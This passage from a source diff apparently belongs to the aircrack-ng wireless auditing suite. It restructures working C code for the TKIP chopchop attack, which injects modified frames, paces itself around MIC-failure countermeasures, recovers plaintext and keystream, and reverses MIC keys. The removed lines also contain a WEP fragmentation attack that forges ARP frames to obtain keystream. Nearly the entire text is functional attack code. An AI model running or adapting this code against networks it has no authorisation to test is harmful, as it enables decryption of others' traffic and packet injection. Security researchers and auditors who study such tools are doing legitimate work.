+					   "      Run aireplay-ng in authenticated mode instead "
+					   "(-h option).\n\n");
+			else
+				printf("    * The client MAC you have specified is not "
+					   "currently authenticated.\n"
+					   "      Try running another aireplay-ng to fake "
+					   "authentication (attack \"-1\").\n"
+					   "    * The AP isn't vulnerable when operating in "
+					   "authenticated mode.\n"
+					   "      Try aireplay-ng in non-authenticated mode "
+					   "instead (no -h option).\n\n");
+			free(chopped);
+			return (1);
+		}
 
-    if((h80211[1] & 3) == 1)
-    {
-        PCT; printf("Reversed MIC Key (ToDS): ");
-        for(i=0; i<7; i++)
-            printf("%02X:", mic[i]);
-        printf("%02X\n", mic[7]);
-        memcpy(opt.ptk+48+8, mic, 8);
-        opt.got_mic_tods=1;
-        opt.chopped_to_plain = (unsigned char*) malloc( caplen );
-        memcpy(opt.chopped_to_plain, h80211, caplen);
-        opt.chopped_to_plain_len = caplen;
-        opt.chopped_to_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 );
-        memcpy(opt.chopped_to_prga, chopped+26, caplen-26+4+8);
-        opt.chopped_to_prga_len = caplen-26+4+8;
-    }
+		/* wait for the next timer interrupt, or sleep */
 
-    if((h80211[1] & 3) == 2)
-    {
-        PCT; printf("Reversed MIC Key (FromDS): ");
-        for(i=0; i<7; i++)
-            printf("%02X:", mic[i]);
-        printf("%02X\n", mic[7]);
-        memcpy(opt.ptk+48, mic, 8);
-        opt.got_mic_fromds=1;
-        opt.chopped_from_plain = (unsigned char*) malloc( caplen );
-        memcpy(opt.chopped_from_plain, h80211, caplen);
-        opt.chopped_from_plain_len = caplen;
-        opt.chopped_from_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 );
-        memcpy(opt.chopped_from_prga, chopped+26, caplen-26+4+8);
-        opt.chopped_from_prga_len = caplen-26+4+8;
-    }
+		if ((nb_pkt_sent > 0) && (nb_pkt_sent % 256 == 0) && settle == 0)
+		{
+			printf("\rLooks like mic failure report was not detected."
+				   "Waiting %i seconds before trying again to avoid "
+				   "the AP shutting down.\n",
+				   opt.mic_failure_interval);
+			fflush(stdout);
+			settle = 1;
+			sleep(opt.mic_failure_interval);
+		}
 
-    /* save the decrypted packet */
+		if (dev.fd_rtc >= 0)
+		{
+			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
+			{
+				perror("\nread(/dev/rtc) failed");
+				free(chopped);
+				return (1);
+			}
+
+			ticks[0]++; /* ticks since we entered the while loop     */
+			ticks[1]++; /* ticks since the last status line update   */
+			ticks[2]++; /* ticks since the last frame was sent       */
+			ticks[3]++; /* ticks since started chopping current byte */
+		}
+		else
+		{
+			/* we can't trust usleep, since it depends on the HZ */
+
+			gettimeofday(&tv, NULL);
+			usleep(976);
+			gettimeofday(&tv2, NULL);
+
+			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+				+ (float) (tv2.tv_usec - tv.tv_usec);
+
+			ticks[0] += f / 976;
+			ticks[1] += f / 976;
+			ticks[2] += f / 976;
+			ticks[3] += f / 976;
+		}
 
-    gettimeofday( &tv, NULL );
+		/* update the status line */
 
-    pfh_out.magic         = TCPDUMP_MAGIC;
-    pfh_out.version_major = PCAP_VERSION_MAJOR;
-    pfh_out.version_minor = PCAP_VERSION_MINOR;
-    pfh_out.thiszone      = 0;
-    pfh_out.sigfigs       = 0;
-    pfh_out.snaplen       = 65535;
-    pfh_out.linktype      = LINKTYPE_IEEE802_11;
-
-    pkh.tv_sec  = tv.tv_sec;
-    pkh.tv_usec = tv.tv_usec;
-    pkh.caplen  = caplen;
-    pkh.len     = caplen;
-
-    lt = localtime( (const time_t *) &tv.tv_sec );
-
-    memset( strbuf, 0, sizeof( strbuf ) );
-    snprintf( strbuf,  sizeof( strbuf ) - 1,
-              "replay_dec-%02d%02d-%02d%02d%02d.cap",
-              lt->tm_mon + 1, lt->tm_mday,
-              lt->tm_hour, lt->tm_min, lt->tm_sec );
+		if (ticks[1] > (RTC_RESOLUTION / 10))
+		{
+			ticks[1] = 0;
+			printf("\rSent %3lu packets, current guess: %02X...",
+				   nb_pkt_sent,
+				   guess);
+			fflush(stdout);
+			erase_line(0);
+		}
 
-    printf( "\nSaving plaintext in %s\n", strbuf );
+		/*        if( data_end < 47 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) /
+								(int) ( caplen - ( data_end - 1 ) ) )*/
+		if (data_end < 47 && tries > 512)
+		{
+		header_rec:
+
+			printf("\n\nThe AP appears to drop packets shorter "
+				   "than %d bytes.\n",
+				   data_end);
+
+			data_end = 46;
+
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			diff = z - 24;
+
+			if ((chopped[data_end + 0] ^ srcbuf[data_end + 0]) == 0x06
+				&& (chopped[data_end + 1] ^ srcbuf[data_end + 1]) == 0x04
+				&& (chopped[data_end + 2] ^ srcbuf[data_end + 2]) == 0x00)
+			{
+				printf("Enabling standard workaround: "
+					   "ARP header re-creation.\n");
+
+				chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08;
+				chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x06;
+				chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ 0x00;
+				chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ 0x01;
+				chopped[26 + 8 + 10] = srcbuf[26 + 8 + 10] ^ 0x08;
+				chopped[26 + 8 + 11] = srcbuf[26 + 8 + 11] ^ 0x00;
+			}
+			else
+			{
+				printf("Enabling standard workaround: "
+					   " IP header re-creation.\n");
+
+				n = caplen - (z + 16);
+
+				chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ 0xAA;
+				chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ 0xAA;
+				chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03;
+				chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
+				chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
+				chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;
+				chopped[26 + 8 + 6] = srcbuf[26 + 8 + 6] ^ 0x08;
+				chopped[26 + 8 + 7] = srcbuf[26 + 8 + 7] ^ 0x00;
+				chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ (n >> 8);
+				chopped[26 + 8 + 9] = srcbuf[26 + 8 + 9] ^ (n & 0xFF);
+
+				memcpy(h80211, srcbuf, caplen);
+
+				for (i = 26 + 8; i < (int) caplen; i++)
+					h80211[i - 8] = h80211[i] ^ chopped[i];
+
+				/* sometimes the header length or the tos field vary */
+
+				for (i = 0; i < 16; i++)
+				{
+					h80211[26 + 8] = 0x40 + i;
+					chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ (0x40 + i);
+
+					for (j = 0; j < 256; j++)
+					{
+						h80211[26 + 9] = j;
+						chopped[26 + 13] = srcbuf[26 + 8 + 9] ^ j;
+
+						if (check_crc_buf(h80211 + 26, caplen - 26 - 8 - 4))
+							goto have_crc_match;
+					}
+				}
+
+				printf("This doesn't look like an IP packet, "
+					   "try another one.\n");
+			}
 
-    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        return( 1 );
-    }
+		have_crc_match:
+			break;
+		}
 
-    n = sizeof( struct pcap_file_header );
+		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
+		{
+			/* send one modified frame */
+
+			ticks[2] = 0;
+
+			memcpy(h80211, chopped, data_end - 1);
+
+			/* note: guess 256 is special, it tests if the  *
+			 * AP properly drops frames with an invalid ICV *
+			 * so this guess always has its bit 8 set to 0  */
+
+			if (is_deauth_mode)
+			{
+				opt.r_smac[1] |= (guess < 256);
+				opt.r_smac[5] = guess & 0xFF;
+			}
+			else
+			{
+				opt.r_dmac[1] |= (guess < 256);
+				opt.r_dmac[5] = guess & 0xFF;
+			}
+
+			//             memcpy( h80211 + 10, opt.r_smac,  6 );
+			//             memcpy( h80211 + 16, opt.r_dmac,  6 );
+
+			if (guess < 256)
+			{
+				h80211[data_end - 2] ^= crc_chop_tbl[guess][3];
+				h80211[data_end - 3] ^= crc_chop_tbl[guess][2];
+				h80211[data_end - 4] ^= crc_chop_tbl[guess][1];
+				h80211[data_end - 5] ^= crc_chop_tbl[guess][0];
+			}
+
+			errno = 0;
+
+			if (send_packet(h80211, data_end - 1) != 0)
+			{
+				free(chopped);
+				return (1);
+			}
+
+			if (errno != EAGAIN)
+			{
+				guess++;
+
+				if (guess > 256)
+					guess = 0;
+				else
+					tries++;
+
+				settle = 0;
+			}
+
+			if (tries > 768 && data_end < srclen)
+			{
+				// go back one step and validate the last chopped byte
+				tries = 0;
+
+				data_end++;
+
+				guess = chopped[data_end - 1] ^ srcbuf[data_end - 1];
+
+				chopped[data_end - 1] ^= guess;
+				chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
+				chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
+				chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
+				chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
+
+				ticks[3] = 0;
+				nb_pkt_sent = 0;
+				nb_bad_pkt = 0;
+				guess = 256;
+
+				PCT;
+				printf("\nMoved one step backwards to chop the last byte "
+					   "again.\n");
+				continue;
+			}
+		}
 
-    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
-    {
-        perror( "fwrite failed\n" );
-        return( 1 );
-    }
+		/* watch for a response from the AP */
 
-    n = sizeof( pkh );
+		n = read_packet(h80211, sizeof(h80211), NULL);
 
-    if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
-    {
-        perror( "fwrite failed" );
-        return( 1 );
-    }
+		if (n < 0)
+		{
+			free(chopped);
+			return (1);
+		}
+		if (n == 0) continue;
 
-    n = pkh.caplen;
+		nb_pkt_read++;
 
-    if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
-    {
-        perror( "fwrite failed" );
-        return( 1 );
-    }
+		/* check if it's a deauth packet */
 
-    fclose( f_cap_out );
+		if (h80211[0] == 0xA0 || h80211[0] == 0xC0)
+		{
+			if (memcmp(h80211 + 4, opt.r_smac, 6) == 0)
+			{
+				nb_bad_pkt++;
+
+				if (nb_bad_pkt > 2)
+				{
+					printf(
+						"\n\nFailure: got several deauthentication packets "
+						"from the AP - you need to start the whole process "
+						"all over again, as the client got disconnected.\n\n");
+					free(chopped);
+					return (1);
+				}
+
+				continue;
+			}
+
+			if (h80211[4] != opt.r_smac[0]) continue;
+			if (h80211[6] != opt.r_smac[2]) continue;
+			if (h80211[7] != opt.r_smac[3]) continue;
+			if (h80211[8] != opt.r_smac[4]) continue;
+
+			//             if( ( h80211[5]     & 0xFE ) !=
+			//                 ( opt.r_smac[1] & 0xFE ) ) continue;
+
+			/*            if( ! ( h80211[5] & 1 ) )
+			{*/
+			if (data_end < 41) goto header_rec;
+
+			printf("\n\nFailure: the access point does not properly "
+				   "discard frames with an\ninvalid ICV - try running "
+				   "aireplay-ng in authenticated mode (-h) instead.\n\n");
+			free(chopped);
+			return (1);
+			//             }
+		}
+		else
+		{
+			/* check if it's a WEP data packet */
+
+			if ((h80211[0] & 0x0C) != 8) continue; // must be a data packet
+			if ((h80211[0] & 0x70) != 0) continue;
+			//             if( ( h80211[1] & 0x03 ) != 2 ) continue;
+			if ((h80211[1] & 0x40) == 0) continue;
+
+			/* get header length right */
+			z = ((h80211[1] & 3) != 3) ? 24 : 30;
+			if ((h80211[0] & 0x80) == 0x80) /* QoS */
+				z += 2;
+
+			/* check the extended IV (TKIP) flag */
+			if ((h80211[z + 3] & 0x20) == 0) continue;
+
+			/* check length (153)!? */
+			if (z + 127 != n)
+				continue; //(153[26+127] bytes for eapol mic failure in tkip qos
+			// frames from client to AP)
+
+			//             printf("yeah!\n");
+
+			// direction must be inverted.
+			if (((h80211[1] & 3) ^ (srcbuf[1] & 3)) != 0x03) continue;
+
+			// check correct macs
+			switch (h80211[1] & 3)
+			{
+				case 1:
+					if (memcmp(bssid, h80211 + 4, 6) != 0
+						&& memcmp(dmac, h80211 + 10, 6) != 0
+						&& memcmp(bssid, h80211 + 16, 6) != 0)
+						continue;
+					break;
+				case 2:
+					if (memcmp(smac, h80211 + 4, 6) != 0
+						&& memcmp(bssid, h80211 + 10, 6) != 0
+						&& memcmp(bssid, h80211 + 16, 6) != 0)
+						continue;
+					break;
+				default:
+					continue;
+					break;
+			}
+
+			/*            if( h80211[4] != opt.r_dmac[0] ) continue;
+			if( h80211[6] != opt.r_dmac[2] ) continue;
+			if( h80211[7] != opt.r_dmac[3] ) continue;
+			if( h80211[8] != opt.r_dmac[4] ) continue;
+
+			if( ( h80211[5]     & 0xFE ) !=
+				( opt.r_dmac[1] & 0xFE ) ) continue;
+
+			if( ! ( h80211[5] & 1 ) )
+			{
+				if( data_end < 41 ) goto header_rec;
+
+				printf( "\n\nFailure: the access point does not properly "
+						"discard frames with an\ninvalid ICV - try running "
+						"aireplay-ng in non-authenticated mode instead.\n\n" );
+				return( 1 );
+			}*/
+			if (nb_pkt_sent < 1) continue;
+		}
 
-    /* save the RC4 stream (xor mask) */
+		/* we have a winner */
 
-    memset( strbuf, 0, sizeof( strbuf ) );
-    snprintf( strbuf,  sizeof( strbuf ) - 1,
-              "replay_dec-%02d%02d-%02d%02d%02d.xor",
-              lt->tm_mon + 1, lt->tm_mday,
-              lt->tm_hour, lt->tm_min, lt->tm_sec );
+		//         guess = h80211[9];
+		tries = 0;
+		settle = 0;
+		guess = (guess - 1) % 256;
+
+		chopped[data_end - 1] ^= guess;
+		chopped[data_end - 2] ^= crc_chop_tbl[guess][3];
+		chopped[data_end - 3] ^= crc_chop_tbl[guess][2];
+		chopped[data_end - 4] ^= crc_chop_tbl[guess][1];
+		chopped[data_end - 5] ^= crc_chop_tbl[guess][0];
+
+		n = caplen - data_start;
+
+		printf("\r");
+		PCT;
+		printf("Offset %4d (%2d%% done) | xor = %02X | pt = %02X | "
+			   "%4lu frames written in %5.0fms\n",
+			   data_end - 1,
+			   100 * (caplen - data_end) / n,
+			   chopped[data_end - 1],
+			   chopped[data_end - 1] ^ srcbuf[data_end - 1],
+			   nb_pkt_sent,
+			   ticks[3]);
+
+		if (is_deauth_mode)
+		{
+			opt.r_smac[1] = rand() & 0x3E;
+			opt.r_smac[2] = rand() & 0xFF;
+			opt.r_smac[3] = rand() & 0xFF;
+			opt.r_smac[4] = rand() & 0xFF;
+		}
+		else
+		{
+			opt.r_dmac[1] = rand() & 0xFE;
+			opt.r_dmac[2] = rand() & 0xFF;
+			opt.r_dmac[3] = rand() & 0xFF;
+			opt.r_dmac[4] = rand() & 0xFF;
+		}
 
-    printf( "Saving keystream in %s\n", strbuf );
+		ticks[3] = 0;
+		nb_pkt_sent = 0;
+		nb_bad_pkt = 0;
+		guess = 256;
+
+		data_end--;
+
+		gettimeofday(&opt.last_mic_failure, NULL);
+		PCT;
+		printf("\rSleeping for %i seconds.", opt.mic_failure_interval);
+		fflush(stdout);
+
+		if (guess_packet(srcbuf, chopped, caplen, caplen - data_end)
+			== 0) // found correct packet :)
+			break;
+
+		while (1)
+		{
+			gettimeofday(&mic_fail, NULL);
+			if ((mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000
+					+ (mic_fail.tv_usec - opt.last_mic_failure.tv_usec)
+				> opt.mic_failure_interval * 1000000)
+				break;
+			sleep(1);
+		}
 
-    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
-    {
-        perror( "fopen failed" );
-        return( 1 );
-    }
+		alarm(0);
+	}
 
-    n = pkh.caplen + 8 - 26 - 8;
+	/* reveal the plaintext (chopped contains the prga) */
 
-    if( fwrite( chopped + 26 + 8, n, 1, f_cap_out ) != 1 )
-    {
-        perror( "fwrite failed" );
-        return( 1 );
-    }
+	memcpy(h80211, srcbuf, caplen);
 
-    fclose( f_cap_out );
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+	diff = z - 24;
+
+	chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ b1;
+	chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ b2;
+	chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03;
+	chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00;
+	chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00;
+	chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00;
+
+	for (i = 26 + 8; i < (int) caplen; i++)
+		h80211[i - 8] = h80211[i] ^ chopped[i];
+
+	if (!check_crc_buf(h80211 + 26, caplen - 26 - 8 - 4))
+	{
+		if (!tried_header_rec)
+		{
+			printf("\nWarning: ICV checksum verification FAILED! Trying "
+				   "workaround.\n");
+			tried_header_rec = 1;
+			goto header_rec;
+		}
+		else
+		{
+			printf("\nWorkaround couldn't fix ICV checksum.\nPacket is most "
+				   "likely invalid/useless\nTry another one.\n");
+		}
+	}
 
-    PCT; printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n",
-            (long) time( NULL ) - tt,
-            (float) ( pkh.caplen - 6 - 26 ) /
-            (float) ( time( NULL ) - tt  ) );
+	caplen -= 8 + 4; /* remove the TKIP EXT IV & CRC (ICV) */
 
-    return( 0 );
-}
+	if (opt.got_ptk)
+	{
+		PCT;
+		printf("Priority: %02X:%02X\n", h80211[z - 2], h80211[z - 1]);
+		calc_tkip_mic(h80211, caplen - 8, opt.wpa_sta.ptk, mic);
+		if (memcmp(mic, h80211 + caplen - 8, 8) == 0)
+		{
+			PCT;
+			printf("Correct MIC!\n");
+		}
+		else
+		{
+			PCT;
+			printf("Incorrect MIC!\n");
+		}
+		PCT;
+		printf("Captured MIC: ");
+		for (i = 0; i < 7; i++) printf("%02X:", h80211[caplen - 8 + i]);
+		printf("%02X\n", h80211[caplen - 1]);
+		PCT;
+		printf("Calculated MIC: ");
+		for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
+		printf("%02X\n", mic[7]);
+	}
 
-int make_arp_request(unsigned char *h80211, unsigned char *bssid, unsigned char *src_mac, unsigned char *dst_mac, unsigned char *src_ip, unsigned char *dst_ip, int size)
-{
-	unsigned char *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01";
-	unsigned char *header80211 = (unsigned char*)"\x08\x41\x95\x00";
+	calc_tkip_mic_key(h80211, caplen, mic);
 
-    // 802.11 part
-    memcpy(h80211,    header80211, 4);
-    memcpy(h80211+4,  bssid,       6);
-    memcpy(h80211+10, src_mac,     6);
-    memcpy(h80211+16, dst_mac,     6);
-    h80211[22] = '\x00';
-    h80211[23] = '\x00';
-
-    // ARP part
-    memcpy(h80211+24, arp_header, 16);
-    memcpy(h80211+40, src_mac,     6);
-    memcpy(h80211+46, src_ip,      4);
-    memset(h80211+50, '\x00',      6);
-    memcpy(h80211+56, dst_ip,      4);
+	h80211[1] &= 0xBF; /* remove the WEP bit, too */
 
-    // Insert padding bytes
-    memset(h80211+60, '\x00', size-60);
+	if ((h80211[1] & 3) == 1)
+	{
+		PCT;
+		printf("Reversed MIC Key (ToDS): ");
+		for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
+		printf("%02X\n", mic[7]);
+		memcpy(opt.ptk + 48 + 8, mic, 8);
+		opt.got_mic_tods = 1;
+		opt.chopped_to_plain = (unsigned char *) malloc(caplen);
+		memcpy(opt.chopped_to_plain, h80211, caplen);
+		opt.chopped_to_plain_len = caplen;
+		opt.chopped_to_prga = (unsigned char *) malloc(caplen - 26 + 4 + 8);
+		memcpy(opt.chopped_to_prga, chopped + 26, caplen - 26 + 4 + 8);
+		opt.chopped_to_prga_len = caplen - 26 + 4 + 8;
+	}
 
-    return 0;
-}
+	if ((h80211[1] & 3) == 2)
+	{
+		PCT;
+		printf("Reversed MIC Key (FromDS): ");
+		for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
+		printf("%02X\n", mic[7]);
+		memcpy(opt.ptk + 48, mic, 8);
+		opt.got_mic_fromds = 1;
+		opt.chopped_from_plain = (unsigned char *) malloc(caplen);
+		memcpy(opt.chopped_from_plain, h80211, caplen);
+		opt.chopped_from_plain_len = caplen;
+		opt.chopped_from_prga = (unsigned char *) malloc(caplen - 26 + 4 + 8);
+		memcpy(opt.chopped_from_prga, chopped + 26, caplen - 26 + 4 + 8);
+		opt.chopped_from_prga_len = caplen - 26 + 4 + 8;
+	}
 
-void save_prga(char *filename, unsigned char *iv, unsigned char *prga, int prgalen)
-{
-	size_t unused;
-    FILE *xorfile;
-    xorfile = fopen(filename, "wb");
-    unused = fwrite (iv, 1, 4, xorfile);
-    unused = fwrite (prga, 1, prgalen, xorfile);
-    fclose (xorfile);
-}
+	/* save the decrypted packet */
 
-int do_attack_fragment()
-{
-    unsigned char packet[4096];
-    unsigned char packet2[4096];
-    unsigned char prga[4096];
-    unsigned char iv[4];
-
-//    unsigned char ack[14] = "\xd4";
-
-    char strbuf[256];
-
-    struct tm *lt;
-    struct timeval tv, tv2;
-
-    int done;
-    int caplen;
-    int caplen2;
-    int arplen;
-    int round;
-    int prga_len;
-    int isrelay;
-    int again;
-    int length;
-    int ret;
-    int gotit;
-    int acksgot;
-    int packets;
-    int z;
+	gettimeofday(&tv, NULL);
 
-    unsigned char *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00";
+	pfh_out.magic = TCPDUMP_MAGIC;
+	pfh_out.version_major = PCAP_VERSION_MAJOR;
+	pfh_out.version_minor = PCAP_VERSION_MINOR;
+	pfh_out.thiszone = 0;
+	pfh_out.sigfigs = 0;
+	pfh_out.snaplen = 65535;
+	pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+	pkh.tv_sec = tv.tv_sec;
+	pkh.tv_usec = tv.tv_usec;
+	pkh.caplen = caplen;
+	pkh.len = caplen;
+
+	lt = localtime((const time_t *) &tv.tv_sec);
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_dec-%02d%02d-%02d%02d%02d.cap",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	printf("\nSaving plaintext in %s\n", strbuf);
+
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		free(chopped);
+		return (1);
+	}
 
-    done = caplen = caplen2 = arplen = round = 0;
-    prga_len = isrelay = gotit = again = length = 0;
+	n = sizeof(struct pcap_file_header);
 
-    if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 )
-    {
-        printf( "Please specify a source MAC (-h).\n" );
-        return( 1 );
-    }
+	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed\n");
+		fclose(f_cap_out);
+		free(chopped);
+		return (1);
+	}
 
-    if(getnet(NULL, 1, 1) != 0)
-        return 1;
+	n = sizeof(pkh);
 
-    if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 )
-    {
-        memset( opt.r_dmac, '\xFF', 6);
-        opt.r_dmac[5] = 0xED;
-    }
+	if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		fclose(f_cap_out);
+		free(chopped);
+		return (1);
+	}
 
-    if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 )
-    {
-        memset( opt.r_sip, '\xFF', 4);
-    }
+	n = pkh.caplen;
 
-    if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 )
-    {
-        memset( opt.r_dip, '\xFF', 4);
-    }
+	if (fwrite(h80211, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		fclose(f_cap_out);
+		free(chopped);
+		return (1);
+	}
 
-    PCT; printf ("Waiting for a data packet...\n");
+	fclose(f_cap_out);
 
-    while(!done)  //
-    {
-        round = 0;
+	/* save the RC4 stream (xor mask) */
 
-        if( capture_ask_packet( &caplen, 0 ) != 0 )
-            return -1;
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_dec-%02d%02d-%02d%02d%02d.xor",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	printf("Saving keystream in %s\n", strbuf);
+
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		free(chopped);
+		return (1);
+	}
 
-        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-        if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-            z+=2;
-
-        if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2))
-            continue;
-
-        memcpy( packet2, h80211, caplen );
-        caplen2 = caplen;
-        PCT; printf("Data packet found!\n");
-
-        if ( memcmp( packet2 +  4, SPANTREE, 6 ) == 0 ||
-             memcmp( packet2 + 16, SPANTREE, 6 ) == 0 )
-        {
-            packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA);  //0x42 instead of 0xAA
-            packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA);  //0x42 instead of 0xAA
-            packet2[z+6] = ((packet2[z+6] ^ 0x00) ^ 0x08);  //0x00 instead of 0x08
-        }
-
-        prga_len = 7;
-
-        again = RETRY;
-
-        memcpy( packet, packet2, caplen2 );
-        caplen = caplen2;
-        memcpy(prga, packet+z+4, prga_len);
-        memcpy(iv, packet+z, 4);
-
-        xor_keystream(prga, snap_header, prga_len);
-
-        while(again == RETRY)  //sending 7byte fragments
-        {
-            again = 0;
-
-            arplen=60;
-            make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen);
-
-            if ((round % 2) == 1)
-            {
-                PCT; printf("Trying a LLC NULL packet\n");
-                memset(h80211+24, '\x00', 39);
-                arplen=63;
-            }
-
-            acksgot=0;
-            packets=(arplen-24)/(prga_len-4);
-            if( (arplen-24)%(prga_len-4) != 0 )
-                packets++;
-
-            PCT; printf("Sending fragmented packet\n");
-            send_fragments(h80211, arplen, iv, prga, prga_len-4, 0);
-//            //Plus an ACK
-//            send_packet(ack, 10);
-
-            gettimeofday( &tv, NULL );
-
-
-            while (!gotit)  //waiting for relayed packet
-            {
-                caplen = read_packet(packet, sizeof(packet), NULL);
-                z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30;
-                if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */
-                    z+=2;
-
-                if (packet[0] == 0xD4 )
-                {
-                    if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC
-                    {
-                        acksgot++;
-                    }
-                    continue;
-                }
-
-                if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted
-                {
-                    if ( (packet[1] & 2) )  //Is a FromDS packet
-                    {
-                        if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC
-                        {
-                            if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC
-                            {
-                                if (caplen-z < 66)  //Is short enough
-                                {
-                                    //This is our relayed packet!
-                                    PCT; printf("Got RELAYED packet!!\n");
-                                    gotit = 1;
-                                    isrelay = 1;
-                                }
-                            }
-                        }
-                    }
-                }
-
-                /* check if we got an deauthentication packet */
-
-                if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a deauthentication packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                /* check if we got an disassociation packet */
-
-                if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 )
-                {
-                    PCT; printf( "Got a disassociation packet!\n" );
-                    read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period
-                }
-
-                gettimeofday( &tv2, NULL );
-                if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets  )//wait 100ms for acks
-                {
-                    PCT; printf("Not enough acks, repeating...\n");
-                    again = RETRY;
-                    break;
-                }
-
-                if (((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer
-                {
-                    PCT; printf("No answer, repeating...\n");
-                    round++;
-                    again = RETRY;
-                    if (round > 10)
-                    {
-                        PCT; printf("Still nothing, trying another packet...\n");
-                        again = NEW_IV;
-                    }
-                    break;
-                }
-            }
-        }
-
-        if(again == NEW_IV) continue;
-
-        make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60);
-        if (caplen-z == 68-24)
-        {
-            //Thats the ARP packet!
-//             PCT; printf("Thats our ARP packet!\n");
-        }
-        if (caplen-z == 71-24)
-        {
-            //Thats the LLC NULL packet!
-//             PCT; printf("Thats our LLC Null packet!\n");
-            memset(h80211+24, '\x00', 39);
-        }
-
-        if (! isrelay)
-        {
-            //Building expected cleartext
-            unsigned char ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02";
-            //Ethernet & ARP header
-
-            //Followed by the senders MAC and IP:
-            memcpy(ct+16, packet+16, 6);
-            memcpy(ct+22, opt.r_dip,  4);
-
-            //And our own MAC and IP:
-            memcpy(ct+26, opt.r_smac,   6);
